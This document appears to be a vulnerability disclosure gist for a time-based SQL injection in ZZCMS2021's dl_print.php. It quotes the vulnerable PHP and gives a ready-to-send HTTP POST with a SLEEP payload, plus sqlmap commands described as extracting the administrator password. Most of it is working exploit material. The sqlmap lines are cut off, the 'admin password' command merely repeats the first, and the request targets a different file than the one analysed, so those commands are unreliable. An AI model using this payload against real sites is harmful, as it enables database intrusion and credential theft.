aaaahuia / ZZCMS2021 sqlinject(2).md Secret

Created last year

ZZCMS2021 sqlinject(2)

ZZCMS2021 sqlinject(2).md

ZZCMS2021_sqlinject_2

PoC by BaizeSec_ahui

ZZCMS the lastest version download page :

http://www.zzcms.net/about/6.htm

zip installer:

http://www.zzcms.net/download/zzcms2021.zip

Environmental requirements

PHP version > = 4.3.0

Mysql version> =4.0.0

vulnerability code:

in file `dl/dl_print.php`

```
<?php
include("../inc/conn.php");
...
#line 29-40
$id="";
$i=0;
if(!empty($_POST['id'])){
    for($i=0; $i<count($_POST['id']);$i++){
    $id=$id.($_POST['id'][$i].',');
    }

}else{
        $founderr=1;
        $ErrMsg="<li>操作失败！请先选中要下载的信息</li>";
}
$id=substr($id,0,strlen($id)-1);//去除最后面的","
...
#line 77-83
if (strpos($id,",")>0){
        $sql="select * from zzcms_dl where passed=1 and id in (". $id .") ";
        }else{
        $sql="select * from zzcms_dl where passed=1  and id=".$id." order by id desc";
}

$rs=query($sql);
```

Before you exploit the vulnerability, you need to visit this link to register users:

http://127.0.0.1/reg/userreg.php

When you have an account, visit this link and the POC is as follows.

POC:

```
POST /dl/dl_download.php HTTP/1.1
Host: your host
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://zzcms.com
Connection: close
Referer: http://zzcms.com/dl/dl_download.php
Cookie: UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f6
Upgrade-Insecure-Requests: 1

id[0]=0&id[1]=1 AND (SELECT 5584 FROM (SELECT(SLEEP(9)))a)
```

sleep(9):

Screenshot link:http://39.101.130.53/image-20210827005508639.png

You can also use sqlmap to verify this vulnerability. The specific usage is as follows:

Note: please replace cookies and URLs with your own and make sure they are correct

```
python sqlmap.py -u "http://zzcms.com/dl/dl_print.php" --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f
```

Screenshot link:http://39.101.130.53/image-20210827005636669.png)

After waiting for a while, you can get the information you query, or you can change the statement. For example, the following statement is used to query the password of the administrator user:

```
python sqlmap.py -u "http://zzcms.com/dl/dl_print.php" --cookie="UserName=test; PassWord=098f6bcd4621d373cade4e832627b4f
```

Screenshot link:http://39.101.130.53/image-20210827010301240.png)